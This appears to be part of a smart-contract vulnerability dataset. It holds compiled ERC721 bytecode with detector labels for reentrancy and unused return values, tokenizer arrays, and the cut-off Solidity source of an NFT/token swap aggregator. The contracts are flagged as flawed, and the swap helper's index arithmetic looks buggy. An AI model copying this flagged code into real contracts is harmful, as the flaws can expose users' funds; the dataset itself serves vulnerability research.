114156138085760008060006020860151925060408601519150606086015160001a90506137fc87828585613a1e565b94509450505050613842565b60408351141561383957600080602085015191506040850151905061382e868383613b2b565b935093505050613842565b60006002915091505b9250929050565b6000600481111561385d5761385c61599e565b5b8160048111156138705761386f61599e565b5b141561387b57613a1b565b6001600481111561388f5761388e61599e565b5b8160048111156138a2576138a161599e565b5b14156138e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138da90615a19565b60405180910390fd5b600260048111156138f7576138f661599e565b5b81600481111561390a5761390961599e565b5b141561394b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161394290615a85565b60405180910390fd5b6003600481111561395f5761395e61599e565b5b8160048111156139725761397161599e565b5b14156139b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139aa90615b17565b60405180910390fd5b6004808111156139c6576139c561599e565b5b8160048111156139d9576139d861599e565b5b1415613a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a1190615ba9565b60405180910390fd5b5b50565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c1115613a59576000600391509150613b22565b601b8560ff1614158015613a715750601c8560ff1614155b15613a83576000600491509150613b22565b600060018787878760405160008152602001604052604051613aa89493929190615bf4565b6020604051602081039080840390855afa158015613aca573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613b1957600060019250925050613b22565b80600092509250505b94509492505050565b6000806000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff85169150601b8560ff1c019050613b6b87828885613a1e565b935093505050935093915050565b828054613b859061458d565b90600052602060002090601f016020900481019282613ba75760008555613bee565b82601f10613bc057805160ff1916838001178555613bee565b82800160010185558215613bee579182015b82811115613bed578251825591602001919060010190613bd2565b5b509050613bfb9190613bff565b5090565b5b80821115613c18576000816000905550600101613c00565b5090565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613c5b82613c30565b9050919050565b613c6b81613c50565b8114613c7657600080fd5b50565b600081359050613c8881613c62565b92915050565b600060208284031215613ca457613ca3613c26565b5b6000613cb284828501613c79565b91505092915050565b6000819050919050565b613cce81613cbb565b82525050565b6000602082019050613ce96000830184613cc5565b92915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b613d2481613cef565b8114613d2f57600080fd5b50565b600081359050613d4181613d1b565b92915050565b600060208284031215613d5d57613d5c613c26565b5b6000613d6b84828501613d32565b91505092915050565b60008115159050919050565b613d8981613d74565b82525050565b6000602082019050613da46000830184613d80565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613de4578082015181840152602081019050613dc9565b83811115613df3576000848401525b50505050565b6000601f19601f8301169050919050565b6000613e1582613daa565b613e1f8185613db5565b9350613e2f818560208601613dc6565b613e3881613df9565b840191505092915050565b60006020820190508181036000830152613e5d8184613e0a565b905092915050565b613e6e81613cbb565b8114613e7957600080fd5b50565b600081359050613e8b81613e65565b92915050565b600060208284031215613ea757613ea6613c26565b5b6000613eb584828501613e7c565b91505092915050565b613ec781613c50565b82525050565b6000602082019050613ee26000830184613ebe565b92915050565b60008060408385031215613eff57613efe613c26565b5b6000613f0d85828601613c79565b9250506020613f1e85828601613e7c565b9150509250929050565b600080600060608486031215613f4157613f40613c26565b5b6000613f4f86828701613c79565b9350506020613f6086828701613c79565b9250506040613f7186828701613e7c565b9150509250925092565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613fb081613cbb565b82525050565b6000613fc28383613fa7565b60208301905092915050565b6000602082019050919050565b6000613fe682613f7b565b613ff08185613f86565b9350613ffb83613f97565b8060005b8381101561402c5781516140138882613fb6565b975061401e83613fce565b925050600181019050613fff565b5085935050505092915050565b600060208201905081810360008301526140538184613fdb565b905092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61409d82613df9565b810181811067ffffffffffffffff821117156140bc576140bb614065565b5b80604052505050565b60006140cf613c1c565b90506140db8282614094565b919050565b600067ffffffffffffffff8211156140fb576140fa614065565b5b61410482613df9565b9050602081019050919050565b82818337600083830152505050565b600061413361412e846140e0565b6140c5565b90508281526020810184848401111561414f5761414e614060565b5b61415a848285614111565b509392505050565b600082601f8301126141775761417661405b565b5b8135614187848260208601614120565b91505092915050565b6000602082840312156141a6576141a5613c26565b5b600082013567ffffffffffffffff8111156141c4576141c3613c2b565b5b6141d084828501614162565b91505092915050565b6141e281613d74565b81146141ed57600080fd5b50565b6000813590506141ff816141d9565b92915050565b60006020828403121561421b5761421a613c26565b5b6000614229848285016141f0565b91505092915050565b6000806040838503121561424957614248613c26565b5b600061425785828601613c79565b9250506020614268858286016141f0565b9150509250929050565b600067ffffffffffffffff82111561428d5761428c614065565b5b61429682613df9565b9050602081019050919050565b60006142b66142b184614272565b6140c5565b9050828152602081018484840111156142d2576142d1614060565b5b6142dd848285614111565b509392505050565b600082601f8301126142fa576142f961405b565b5b813561430a8482602086016142a3565b91505092915050565b6000806000806080858703121561432d5761432c613c26565b5b600061433b87828801613c79565b945050602061434c87828801613c79565b935050604061435d87828801613e7c565b925050606085013567ffffffffffffffff81111561437e5761437d613c2b565b5b61438a878288016142e5565b91505092959194509250565b600080604083850312156143ad576143ac613c26565b5b600083013567ffffffffffffffff8111156143cb576143ca613c2b565b5b6143d7858286016142e5565b92505060206143e885828601613e7c565b9150509250929050565b600080fd5b600080fd5b60008083601f8401126144125761441161405b565b5b8235905067ffffffffffffffff81111561442f5761442e6143f2565b5b60208301915083602082028301111561444b5761444a6143f7565b5b9250929050565b60008060006040848603121561446b5761446a613c26565b5b600061447986828701613e7c565b935050602084013567ffffffffffffffff81111561449a57614499613c2b565b5b6144a6868287016143fc565b92509250509250925092565b600080604083850312156144c9576144c8613c26565b5b60006144d785828601613c79565b92505060206144e885828601613c79565b9150509250929050565b7f5a65726f2061646472657373206e6f74206f6e20416c6c6f77204c6973740000600082015250565b6000614528601e83613db5565b9150614533826144f2565b602082019050919050565b600060208201905081810360008301526145578161451b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806145a557607f821691505b602082108114156145b9576145b861455e565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b600061461b602c83613db5565b9150614626826145bf565b604082019050919050565b6000602082019050818103600083015261464a8161460e565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006146ad602183613db5565b91506146b882614651565b604082019050919050565b600060208201905081810360008301526146dc816146a0565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b600061473f603883613db5565b915061474a826146e3565b604082019050919050565b6000602082019050818103600083015261476e81614732565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b60006147d1603183613db5565b91506147dc82614775565b604082019050919050565b60006020820190508181036000830152614800816147c4565b9050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b6000614863602b83613db5565b915061486e82614807565b604082019050919050565b6000602082019050818103600083015261489281614856565b9050919050565b7f53616c652068617320656e6465642e0000000000000000000000000000000000600082015250565b60006148cf600f83613db5565b91506148da82614899565b602082019050919050565b600060208201905081810360008301526148fe816148c2565b9050919050565b7f53616c65206973206e6f74206163746976652063757272656e746c792e000000600082015250565b600061493b601d83613db5565b915061494682614905565b602082019050919050565b6000602082019050818103600083015261496a8161492e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006149ab82613cbb565b91506149b683613cbb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149eb576149ea614971565b5b828201905092915050565b7f546f74616c20737570706c792065786365656465642e00000000000000000000600082015250565b6000614a2c601683613db5565b9150614a37826149f6565b602082019050919050565b60006020820190508181036000830152614a5b81614a1f565b9050919050565b7f546f74616c20737570706c79207370656e742e00000000000000000000000000600082015250565b6000614a98601383613db5565b9150614aa382614a62565b602082019050919050565b60006020820190508181036000830152614ac781614a8b565b9050919050565b7f45786365656473206d6178696d756d20616c6c6f77656420746f6b656e730000600082015250565b6000614b04601e83613db5565b9150614b0f82614ace565b602082019050919050565b60006020820190508181036000830152614b3381614af7565b9050919050565b6000614b4582613cbb565b9150614b5083613cbb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614b8957614b88614971565b5b828202905092915050565b7f496e7375666669656e742045544820616d6f756e742073656e742e0000000000600082015250565b6000614bca601b83613db5565b9150614bd582614b94565b602082019050919050565b60006020820190508181036000830152614bf981614bbd565b9050919050565b6000604082019050614c156000830185613cc5565b614c226020830184613ebe565b9392505050565b6000614c3482613cbb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614c6757614c66614971565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b6000614cfd602c83613db5565b9150614d0882614ca1565b604082019050919050565b60006020820190508181036000830152614d2c81614cf0565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b6000614d8f602983613db5565b9150614d9a82614d33565b604082019050919050565b60006020820190508181036000830152614dbe81614d82565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000614e21602a83613db5565b9150614e2c82614dc5565b604082019050919050565b60006020820190508181036000830152614e5081614e14565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614e8d602083613db5565b9150614e9882614e57565b602082019050919050565b60006020820190508181036000830152614ebc81614e80565b9050919050565b7f4d61782052657365727665732074616b656e20616c7265616479210000000000600082015250565b6000614ef9601b83613db5565b9150614f0482614ec3565b602082019050919050565b60006020820190508181036000830152614f2881614eec565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b6000614f65601983613db5565b9150614f7082614f2f565b602082019050919050565b60006020820190508181036000830152614f9481614f58565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b6000614ff7602f83613db5565b915061500282614f9b565b604082019050919050565b6000602082019050818103600083015261502681614fea565b9050919050565b600081905092915050565b600061504382613daa565b61504d818561502d565b935061505d818560208601613dc6565b80840191505092915050565b60006150758285615038565b91506150818284615038565b91508190509392505050565b7f416c6c6f77204c697374206973206e6f74206163746976650000000000000000600082015250565b60006150c3601883613db5565b91506150ce8261508d565b602082019050919050565b600060208201905081810360008301526150f2816150b6565b9050919050565b7f496e76616c696420616363657373206d65737361676500000000000000000000600082015250565b600061512f601683613db5565b915061513a826150f9565b602082019050919050565b6000602082019050818103600083015261515e81615122565b9050919050565b7f416c6c20746f6b656e732068617665206265656e206d696e7465640000000000600082015250565b600061519b601b83613db5565b91506151a682615165565b602082019050919050565b600060208201905081810360008301526151ca8161518e565b9050919050565b7f43616e6e6f742070757263686173652074686973206d616e7920746f6b656e73600082015250565b6000615207602083613db5565b9150615212826151d1565b602082019050919050565b60006020820190508181036000830152615236816151fa565b9050919050565b7f50757263686173652065786365656473206d617820616c6c6f77656400000000600082015250565b6000615273601c83613db5565b915061527e8261523d565b602082019050919050565b600060208201905081810360008301526152a281615266565b9050919050565b7f43616e2774206164642061206e756c6c20616464726573730000000000000000600082015250565b60006152df601883613db5565b91506152ea826152a9565b602082019050919050565b6000602082019050818103600083015261530e816152d2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000615371602683613db5565b915061537c82615315565b604082019050919050565b600060208201905081810360008301526153a081615364565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000615403602c83613db5565b915061540e826153a7565b604082019050919050565b60006020820190508181036000830152615432816153f6565b9050919050565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b6000615495602983613db5565b91506154a082615439565b604082019050919050565b600060208201905081810360008301526154c481615488565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000615527602483613db5565b9150615532826154cb565b604082019050919050565b600060208201905081810360008301526155568161551a565b9050919050565b600061556882613cbb565b915061557383613cbb565b92508282101561558657615585614971565b5b828203905092915050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b60006155ed603283613db5565b91506155f882615591565b604082019050919050565b6000602082019050818103600083015261561c816155e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061565d82613cbb565b915061566883613cbb565b92508261567857615677615623565b5b828204905092915050565b600061568e82613cbb565b915061569983613cbb565b9250826156a9576156a8615623565b5b828206905092915050565b60008160601b9050919050565b60006156cc826156b4565b9050919050565b60006156de826156c1565b9050919050565b6156f66156f182613c50565b6156d3565b82525050565b600061570882846156e5565b60148201915081905092915050565b600081519050919050565b600082825260208201905092915050565b600061573e82615717565b6157488185615722565b9350615758818560208601613dc6565b61576181613df9565b840191505092915050565b60006080820190506157816000830187613ebe565b61578e6020830186613ebe565b61579b6040830185613cc5565b81810360608301526157ad8184615733565b905095945050505050565b6000815190506157c781613d1b565b92915050565b6000602082840312156157e3576157e2613c26565b5b60006157f1848285016157b8565b91505092915050565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b6000615830601c8361502d565b915061583b826157fa565b601c82019050919050565b6000819050919050565b6000819050919050565b61586b61586682615846565b615850565b82525050565b600061587c82615823565b9150615888828461585a565b60208201915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b60006158fc602083613db5565b9150615907826158c6565b602082019050919050565b6000602082019050818103600083015261592b816158ef565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b6000615968601c83613db5565b915061597382615932565b602082019050919050565b600060208201905081810360008301526159978161595b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f45434453413a20696e76616c6964207369676e61747572650000000000000000600082015250565b6000615a03601883613db5565b9150615a0e826159cd565b602082019050919050565b60006020820190508181036000830152615a32816159f6565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265206c656e67746800600082015250565b6000615a6f601f83613db5565b9150615a7a82615a39565b602082019050919050565b60006020820190508181036000830152615a9e81615a62565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b6000615b01602283613db5565b9150615b0c82615aa5565b604082019050919050565b60006020820190508181036000830152615b3081615af4565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b6000615b93602283613db5565b9150615b9e82615b37565b604082019050919050565b60006020820190508181036000830152615bc281615b86565b9050919050565b615bd281615846565b82525050565b600060ff82169050919050565b615bee81615bd8565b82525050565b6000608082019050615c096000830187615bc9565b615c166020830186615be5565b615c236040830185615bc9565b615c306060830184615bc9565b9594505050505056fea264697066735822122077997dba2d33ab355426fd1edd87007863f1ebe8c2b505608f1a6c2087f4bae964736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2575,
4402,
2497,
2620,
2683,
20952,
2620,
2546,
24096,
2692,
2850,
26224,
22275,
2278,
2475,
12879,
19961,
2575,
2063,
22407,
2475,
2497,
29097,
2497,
17788,
2050,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
2368,
17897,
16670,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
14925,
5104,
2050,
1012,
14017,
1000,
1025,
3206,
4854,
29040,
19496,
3064,
2003,
9413,
2278,
2581,
17465,
2368,
17897,
16670,
1010,
2219,
3085,
1063,
2478,
14925,
5104,
2050,
2005,
27507,
16703,
1025,
21318,
3372,
17788,
2575,
2270,
12927,
18098,
6610,
1027,
1014,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,520 | 0x95470F8E330d20788e76e8Da3063C9a19555aC0C | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MarketRegistry is Ownable {
enum MarketType {Buy, Sell, Both}
enum CurrencySupported {Eth, Erc20}
struct BuyDetails {
uint256 marketId;
bytes buyData;
}
struct SellDetails {
uint256 marketId;
bytes sellData;
}
struct Market {
MarketType marketType;
CurrencySupported currencySupported;
address proxy;
bool isActive;
}
Market[] public markets;
constructor(
MarketType[] memory marketTypes,
CurrencySupported[] memory currenciesSupported,
address[] memory proxies
) {
for (uint256 i = 0; i < marketTypes.length; i++) {
markets.push(Market(marketTypes[i], currenciesSupported[i], proxies[i], true));
}
}
function addMarket(
MarketType marketType,
CurrencySupported currencySupported,
address proxy
) external onlyOwner {
markets.push(Market(marketType, currencySupported, proxy, true));
}
function setMarketStatus(uint256 marketId, bool newStatus) external onlyOwner {
Market storage market = markets[marketId];
market.isActive = newStatus;
}
function setMarketProxy(uint256 marketId, address newProxy) external onlyOwner {
Market storage market = markets[marketId];
market.proxy = newProxy;
}
}
contract ExchangeRegistry is Ownable {
struct SwapDetails {
uint256 exchangeId;
bytes swapData;
}
struct Exchange {
address proxy;
bool isActive;
}
Exchange[] public exchanges;
constructor(address[] memory proxies) {
for (uint256 i = 0; i < proxies.length; i++) {
exchanges.push(Exchange(proxies[i], true));
}
}
function addExchange(
address proxy
) external onlyOwner {
exchanges.push(Exchange(proxy, true));
}
function setExchangeStatus(uint256 exchangeId, bool newStatus) external onlyOwner {
Exchange storage exchange = exchanges[exchangeId];
exchange.isActive = newStatus;
}
function setExchangeProxy(uint256 exchangeId, address newProxy) external onlyOwner {
Exchange storage exchange = exchanges[exchangeId];
exchange.proxy = newProxy;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC721 {
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external;
function setApprovalForAll(address operator, bool approved) external;
function approve(address to, uint256 tokenId) external;
function isApprovedForAll(address owner, address operator) external returns (bool);
}
interface IERC1155 {
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) external;
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) external;
}
interface ISellMarket {
function sellERC721ForERC20Equivalent(
bytes memory data
) external returns (address _erc20Address, uint256 _erc20Amount);
function sellERC1155ForERC20Equivalent(
bytes memory data
) external returns (address erc20, uint256 amount);
function sellERC1155BatchForERC20Equivalent(
bytes memory data
) external returns (address erc20, uint256 amount);
}
interface IBuyMarket {
function buyAssetsForEth(bytes memory data, address recipient) external;
function buyAssetsForErc20(bytes memory data, address recipient) external;
function estimateBatchAssetPriceInEth(bytes memory data) external view returns(uint256 totalCost);
function estimateBatchAssetPriceInErc20(bytes memory data) external view returns(address[] memory erc20Addrs, uint256[] memory amounts);
}
interface IExchange {
function swapExactERC20ForERC20(
address _from,
address _to,
address _recipient,
uint256 _amountIn
) external returns (uint256[] memory amounts);
function swapERC20ForExactERC20(
address _from,
address _to,
address _recipient,
uint256 _amountOut
) external returns (uint256[] memory amounts);
function swapERC20ForExactETH(
address _from,
address _recipient,
uint256 _amountOut
) external returns (uint256[] memory amounts);
function swapExactERC20ForETH(
address _from,
address _recipient,
uint256 _amountIn
) external returns (uint256[] memory amounts);
function swapETHForExactERC20(
address _to,
address _recipient,
uint256 _amountOut
) external returns (uint256[] memory amounts);
function swapExactETHForERC20(
address _to,
address _recipient,
uint256 _amountOutMin
) external returns (uint256[] memory amounts);
}
contract CrossAssetSwap is Ownable {
struct ERC20Details {
address[] tokenAddrs;
uint256[] amounts;
}
struct ERC721Details {
address tokenAddr;
uint256[] ids;
MarketRegistry.SellDetails[] sellDetails;
}
struct ERC1155Details {
address tokenAddr;
uint256[] ids;
uint256[] amounts;
MarketRegistry.SellDetails[] sellDetails;
}
MarketRegistry public marketRegistry;
ExchangeRegistry public exchangeRegistry;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant MAINTAINER = 0x073Ab1C0CAd3677cDe9BDb0cDEEDC2085c029579;
uint256 public FEES = 300;
constructor(address _marketRegistry, address _exchangeRegistry) {
marketRegistry = MarketRegistry(_marketRegistry);
exchangeRegistry = ExchangeRegistry(_exchangeRegistry);
}
function updateFees(uint256 newFees) external {
require(msg.sender == MAINTAINER, "updateFees: invalid caller.");
FEES = newFees;
}
function _transferHelper(
ERC20Details memory _inputERC20s,
ERC721Details[] memory inputERC721s,
ERC1155Details[] memory inputERC1155s
) internal returns (address[] memory _erc20AddrsIn, uint256[] memory _erc20AmountsIn) {
address[] memory _addrsIn1;
address[] memory _addrsIn2;
uint256[] memory _amountsIn1;
uint256[] memory _amountsIn2;
// transfer ERC20 tokens from the sender to this contract
for (uint256 i = 0; i < _inputERC20s.tokenAddrs.length; i++) {
require(
IERC20(_inputERC20s.tokenAddrs[i]).transferFrom(
msg.sender,
address(this),
_inputERC20s.amounts[i]
),
"_transferHelper: transfer failed"
);
}
// transfer ERC721 tokens from the sender to this contract
for (uint256 i = 0; i < inputERC721s.length; i++) {
for (uint256 j = 0; j < inputERC721s[i].ids.length; j++) {
IERC721(inputERC721s[i].tokenAddr).transferFrom(
msg.sender,
address(this),
inputERC721s[i].ids[j]
);
}
(_addrsIn1, _amountsIn1) = _sellNFT(inputERC721s[i].sellDetails);
}
// transfer ERC1155 tokens from the sender to this contract
for (uint256 i = 0; i < inputERC1155s.length; i++) {
IERC1155(inputERC1155s[i].tokenAddr).safeBatchTransferFrom(
msg.sender,
address(this),
inputERC1155s[i].ids,
inputERC1155s[i].amounts,
""
);
(_addrsIn2, _amountsIn2) = _sellNFT(inputERC1155s[i].sellDetails);
}
// return _erc20AddrsIn, _erc20AmountsIn
{
uint256 totalLen = msg.value > 0
? _inputERC20s.tokenAddrs.length+_addrsIn1.length+_addrsIn2.length+1
: _inputERC20s.tokenAddrs.length+_addrsIn1.length+_addrsIn2.length;
_erc20AddrsIn = new address[](totalLen);
_erc20AmountsIn = new uint256[](totalLen);
if (msg.value > 0) {
_erc20AddrsIn[totalLen-1] = ETH;
_erc20AmountsIn[totalLen-1] = msg.value;
}
// populate the arrays
for (uint256 i = 0; i < _inputERC20s.tokenAddrs.length; i++) {
_erc20AddrsIn[i] = _inputERC20s.tokenAddrs[i];
_erc20AmountsIn[i] = _inputERC20s.amounts[i];
}
totalLen = _inputERC20s.tokenAddrs.length-1;
for (uint256 i = 0; i < _addrsIn1.length; i++) {
_erc20AddrsIn[_inputERC20s.tokenAddrs.length+i] = _addrsIn1[i];
_erc20AmountsIn[_inputERC20s.tokenAddrs.length+i] = _amountsIn1[i];
}
totalLen = _inputERC20s.tokenAddrs.length+_addrsIn1.length-1;
for (uint256 i = 0; i < _addrsIn2.length; i++) {
_erc20AddrsIn[totalLen+i] = _addrsIn2[i];
_erc20AmountsIn[totalLen+i] = _amountsIn2[i];
}
}
}
// swaps any combination of ERC-20/721/1155
// User needs to approve assets before invoking swap
function multiAssetSwap(
ERC20Details memory inputERC20s,
ERC721Details[] memory inputERC721s,
ERC1155Details[] memory inputERC1155s,
MarketRegistry.BuyDetails[] memory buyDetails,
ExchangeRegistry.SwapDetails[] memory swapDetails,
address[] memory addrs // [changeIn, exchange, recipient]
) payable external {
address[] memory _erc20AddrsIn;
uint256[] memory _erc20AmountsIn;
// transfer all tokens
(_erc20AddrsIn, _erc20AmountsIn) = _transferHelper(
inputERC20s,
inputERC721s,
inputERC1155s
);
// execute all swaps
_swap(
swapDetails,
buyDetails,
_erc20AmountsIn,
_erc20AddrsIn,
addrs[0],
addrs[1],
addrs[2]
);
}
event Data(ERC721Details[]);
function buyNftForERC20(
MarketRegistry.BuyDetails[] memory buyDetails,
ExchangeRegistry.SwapDetails[] memory swapDetails,
ERC20Details memory inputErc20Details,
address[] memory addrs // [changeIn, exchange, recipient]
) external {
// transfer the fees
require(
